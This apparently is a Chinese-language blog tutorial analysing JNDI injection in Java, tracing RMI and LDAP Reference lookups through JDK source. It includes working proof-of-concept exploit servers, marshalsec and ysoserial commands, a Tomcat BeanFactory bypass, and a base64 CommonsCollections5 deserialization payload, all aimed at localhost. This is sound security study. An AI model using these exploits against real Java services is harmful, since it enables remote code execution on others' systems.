淺析JNDI注入
Trail: Java Naming and Directory Interface (The Java Tutorials) (oracle.com)
The JNDI Tutorial (oracle.com)
JNDI (Java Naming and Directory Interface) 是一個應用程式設計的 API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面。
JNDI 支援的服務主要有以下幾種:
- RMI (JAVA遠端方法呼叫)
- LDAP (輕量級目錄訪問協議)
- CORBA (公共物件請求代理體系結構)
- DNS (域名服務)
前三種都支援遠端物件呼叫
JNDI支援的資料儲存物件
- Java序列化物件
- JNDI Reference引用
- Marshalled物件
- RMI遠端物件
- CORBA 物件
注入原理
在JNDI服務中,RMI服務端除了直接繫結遠端物件之外,還可以透過References類來繫結一個外部的遠端物件(當前名稱目錄系統之外的物件)。繫結了Reference之後,服務端會先透過Referenceable.getReference()獲取繫結物件的引用,並且在目錄中儲存。當客戶端在lookup()查詢這個遠端物件時,客戶端會獲取相應的object factory,最終透過factory類將reference轉換為具體的物件例項。
RMI攻擊實現
影響版本
JDK <= 8u121
在8u121之後com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等屬性的預設值變為false,就不能再利用了
先看下JNDI—RMI的結合使用
RMI服務端
RMISever.java
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMISever { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl(); Registry r = LocateRegistry.createRegistry(1099); r.bind("remoteObj",remoteObj); } }
遠端介面
IRemoteObj.java
import java.rmi.Remote; import java.rmi.RemoteException; public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
實現介面的遠端物件
RemoteObjImpl.java
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj { public RemoteObjImpl() throws RemoteException{ super(); } @Override public String sayHello(String keywords){ String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
JNDI服務端
JNDIRMIServer.java
import javax.naming.InitialContext; public class JNDIRMIServer { public static void main(String[] args)throws Exception { InitialContext initialContext = new InitialContext(); initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl()); } }
JNDI客戶端
JNDIRMIClient.java
import javax.naming.InitialContext; public class JNDIRMIClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
這裡的InitialContext()是構建一個初始上下文。通俗點來講就是獲取初始目錄環境。
當開啟RMI服務和JNDI服務後,此時JNDI客戶端便可成功發出請求
RMI攻擊
透過上例可以看出JNDI是可以和RMI結合使用的,而攻擊就要透過References類來繫結一個外部的遠端物件的方式進行了。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
className
: 遠端載入時所使用的類名classFactory
: 載入的class
中需要例項化類的名稱classFactoryLocation
: 提供classes
資料的地址可以是file/ftp/http
協議
開啟遠端服務,在該目錄下放了一個Exec.class,進行遠端呼叫
import java.io.IOException; public class Exec { public Exec() throws IOException { Runtime.getRuntime().exec("calc"); } }
之後修改JNDIServer,透過Reference繫結啟動的遠端服務物件
import javax.naming.InitialContext; import javax.naming.Reference; public class JNDIRMIServer { public static void main(String[] args)throws Exception { InitialContext initialContext = new InitialContext(); //initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl()); Reference refobj = new Reference("Exec", "Exec", "http://localhost:7777/"); initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",refobj); } }
重新啟動RMI,JNDIServer後,透過客戶端JNDIClient成功執行惡意位元組碼檔案(這裡是本地測試的也可以修改http://localhost:7777/,進行遠端呼叫)
流程分析
只要客戶端lookup引數可控,我們就可寫入自己的遠端物件,而遠端物件在綁上References,其中傳一個帶有惡意類的地址,當RMI客戶端開啟服務後就會造成攻擊
下面看下具體流程
跟進lookup
,name就是我們傳入的rmi://127.0.0.1:1099/remoteObj
public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }
有呼叫了lookup
,繼續跟進,這裡呼叫了var3的lookup,而var3的是RegistryContext
,所以雖然我們透過JNDI的方式進行的呼叫,但最後還是會呼叫到RMI的流程中,所以這也就是JNDI能結合RMI使用的原因(JNDI的每個服務對應一個Context協議,而RMI對應的協議就是RegistryContext)
繼續跟進lookup
,還是會呼叫lookup,但呼叫後var2的ReferenceWrapper型別,而在JNDIRMIServer
中例項化的是Reference
分析下原因
跟進rebind
,遠端服務繫結時繫結的是Reference
,但當客戶端呼叫時變成了ReferenceWrapper
,所以一定是在Reference
繫結後進行了一些操作
注意一下引數就好,繼續跟進rebind
又有一個rebind
public void rebind(String var1, Object var2) throws NamingException { ResolveResult var3 = this.getRootURLContext(var1, this.myEnv); Context var4 = (Context)var3.getResolvedObj(); try { var4.rebind(var3.getRemainingName(), var2); } finally { var4.close(); } }
跟進後發現多了個encode的操作
跟進後發現,當我們傳入的型別為Reference
,他會透過判斷返回ReferenceWrapper
,所以上邊的原因也就在這裡
在回到剛才的lookup
方法,由於剛才的rebind
中進行了encode,所以這裡對應的會返回一個返回decode的操作
return this.decodeObject(var2, var1.getPrefix(1));
跟進後,發現了getReference()
,在注入原理中提到貨他可以獲取繫結物件的引用,所以var3就變為了我們繫結的Reference物件
之後就呼叫了NamingManager.getObjectInstance
,在319行會呼叫getObjectFactoryFromReference
,從引用中獲取物件工廠
factory = getObjectFactoryFromReference(ref, f);
跟進後他首先會進行個類載入
try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) {
跟進loadClass,retrun中會呼叫本類中的另一個loadClass
public Class<?> loadClass(String className) throws ClassNotFoundException { return loadClass(className, getContextClassLoader()); }
呼叫Class.forName,但他是呼叫AppClassLoader從本地找Exec.class,所以肯定是找不到的
找不到後,就會從codebase中尋找,codebase透過ref.getFactoryClassLocation(),就會變成我們傳入的遠端物件
重新載入結束後透過最後的newInstance成功例項化,遠端執行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
LDAP攻擊實現
除了RMI服務之外,JNDI還可以對接LDAP服務,且LDAP也能返回JNDI Reference物件,利用過程與上面RMI Reference基本一致,只是lookup()中的URL為一個LDAP地址如ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference物件。
注意一點就是,LDAP+Reference的技巧遠端載入Factory類不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用範圍更廣。
影響版本
JDK <= 8u191 且版本不為7u201、6u211、6u141、7u131、8u121
這些版本的com.sun.jndi.ldap.object.trustURLCodebase
屬性預設值為false
LDAP攻擊
使用marshalsec構建ldap服務,服務端監聽:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099
http://127.0.0.1/為本地服務,Exec是惡意檔案,1099是開啟的ldap服務埠(預設為1389)
開啟本地服務
python -m http.server 7777
直接發起請求即可
import javax.naming.InitialContext; public class JNDILDAPClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://127.0.0.1:1099/Exec"); } }
流程分析
前邊和RMI的一樣連續呼叫了幾個lookup
,之後又進入了p_lookup()
之後又呼叫了c_lookup()
protected Object p_lookup(Name var1, Continuation var2) throws NamingException { Object var3 = null; HeadTail var4 = this.p_resolveIntermediate(var1, var2); switch (var4.getStatus()) { case 2: var3 = this.c_lookup(var4.getHead(), var2); if (var3 instanceof LinkRef) { var2.setContinue(var3, var4.getHead(), this); var3 = null; }
跟進c_lookup()
,在下方會呼叫decodeObject()
,其中引數的值就是我們傳入的LDAP的值
跟進後,會進行if判斷,JAVA_ATTRIBUTES的索引值在下方,處若我們傳入的是序列化資料則會執行if下方的語句進行反序列化(後邊高版本繞過會用到留個印象
);若傳入的是遠端物件則會呼叫decodeRmiObject()
而我們是一個引用所以直接呼叫執行decodeReference()
decodeReference()
是一些賦值操作,執行完後回到decodeObject()中,最後decodeObject()執行完之後回到了c_lookup()
這裡var3此時的值為
接著往下走最終呼叫了DirectoryManager
的getObjectInstance
,而RMI呼叫的則是NamingManager
的getObjectInstance
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
但流程的話跟RMI的基本一模一樣了,最後也是透過NamingManager
呼叫newInstance()
進行類載入造成程式碼執行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
高版本繞過
在JDK8u191之後將com.sun.jndi.ldap.object.trustURLCodebase 屬性的預設值設為了false,即不能再從遠端的Codebase載入惡意的Factory類了,所以上邊的方式就不適用了,但這裡還可以使用本地類載入的方式進行利用(都需要特定的依賴):
- 本地Class作為Reference Factory繞過
- LDAP返回序列化資料繞過
本地Class作為Reference Factory繞過
找到一個受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,並利用這個本地的Factory類執行命令。這個Factory類必須實現 javax.naming.spi.ObjectFactory 介面。而Tomcat依賴包中存在org.apache.naming.factory.BeanFactory工廠類,可以反射構造程式碼執行。
pom依賴
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.0.28</version> </dependency>
本地攻擊
Client
import javax.naming.*; public class JNDIBPClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/Exec"); } }
Server
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class JNDIBPServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval")); resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Exec", referenceWrapper); System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec"); } }
若在執行javax.el.ELProcessor報錯Class not found: javax.el.ELProcessor,則需要再匯入依賴:
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.0.28</version> </dependency>
流程分析
由於透過RMI進行的呼叫,所以前邊的流程跟RMI攻擊實現中是一樣的,但由於本次傳入的工廠是BeanFactory
,所以會呼叫BeanFactory.getObjectInstance()
跟進後這裡透過反射例項化了ELProcessor
給bean
再往下看,將forceString的值賦給ra,我們在Server中賦值forceString="Sentiment=eval",所以ra="Sentiment=eval",之後建立了一個HashMap物件給forced,接著將剛剛說到的ra的值賦給value
,又賦給了param
,在168行獲取了等號的索引,之後以等號分割開分別賦值給了setterName
和param
之後就是將這兩個值傳入HashMap即:forced
forced.put(param, beanClass.getMethod(setterName, paramTypes));
之後主要就是這五步了:
- proName獲取ra的type —>Sentiment
- value獲取ra的contents —>Runtime.getRuntime().exec("calc")
- method獲取Sentiment對應的值即:eval方法
- valueArray[0]獲取value 即Runtime.getRuntime().exec("calc")
- 最終反射成功執行程式碼
LDAP返回序列化資料繞過
在LDAP攻擊的流程分析中提到過在高版本繞過中會用到,LDAP Server除了使用JNDI Reference進行利用之外,還支援直接返回一個物件的序列化資料。如果Java物件的 javaSerializedData 屬性值不為空,則客戶端的 obj.decodeObject() 方法就會對這個欄位的內容進行反序列化
這裡以打cc5為例,需要Commons-Collections-3.1依賴
pom依賴
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
本地攻擊
ysoserial生成payload
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" >1.txt
base64加密一下
本題開啟http服務直接打即可
python -m http.server 7777
Server
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64; public class JNDISerialServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Exec"; int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } //低版本JDK /* e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());*/ //高版本JDK e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABGNhbGN0AARleGVjdXEAfgAyAAAAAXEAfgA3c3EAfgAnc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4")); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
Client
import javax.naming.InitialContext; public class JNDISerialClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://127.0.0.1:1099/Exec"); } }
流程分析
跟LDAP攻擊實現的步驟基本一致,只是前者是透過引用進入了,而這裡用的是序列化索引進入了
進入deserializeObject
就是反序列化的操作了透過readObject反序列化程式碼執行
var5 = ((ObjectInputStream)var20).readObject();
相關文章
- JNDI注入和JNDI注入Bypass2021-06-08
- JNDI注入工具改造2022-11-17
- Java之JNDI注入2021-11-10Java
- java JNDI 注入學習2024-10-08Java
- Java安全之JNDI注入2020-11-11Java
- 服務端模板注入攻擊 (SSTI) 之淺析2020-08-19服務端
- 逆向淺析常見病毒的注入方式系列之一-----WriteProcessMemory2020-08-19SSM
- Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)復現2024-03-22OracleWebServer
- 淺析依賴注入框架的生命週期(以 InversifyJS 為例)2023-02-11依賴注入框架JS
- 淺析依賴倒轉、控制反轉、IoC 容器、依賴注入。2018-07-08依賴注入
- 淺析如何通過PHP類的反射來實現依賴注入2019-02-16PHP反射依賴注入
- iOS Block淺淺析2019-03-10iOSBloC
- 淺析Redis2024-10-22Redis
- Jvm 淺析2024-09-08JVM
- CGLib淺析2021-09-11CGLib
- 淺析XML2022-03-15XML
- MongoDB淺析2019-06-28MongoDB
- 淺析 JWT2019-05-25JWT
- 淺析 DDD2021-09-07
- RunLoop 淺析2019-01-17OOP
- 淺析 ReentrantLock2019-04-01ReentrantLock
- Unstated淺析2019-01-23
- 淺析SharedPreferences2018-12-02
- Nginx淺析2018-05-23Nginx
- 淺析Promise2018-06-28Promise
- ejs 淺析2018-06-23JS
- 淺析KubernetesStatefulSet2018-06-26
- AIDL淺析2018-05-27AI
- ArrayList淺析2018-04-12
- 淺析AIGC for MMKG2023-05-16AIGC
- Seata原理淺析2024-05-11
- 淺析DES原理2022-03-29
- shadow DOM 淺析2019-08-07
- 淺析Promise原理2019-10-20Promise
- AQS原理淺析2019-07-26AQS
- css: clip淺析2020-01-03CSS
- Webpack 原理淺析2020-07-29Web
- Jackson - 淺析@JsonInclude2020-11-03JSON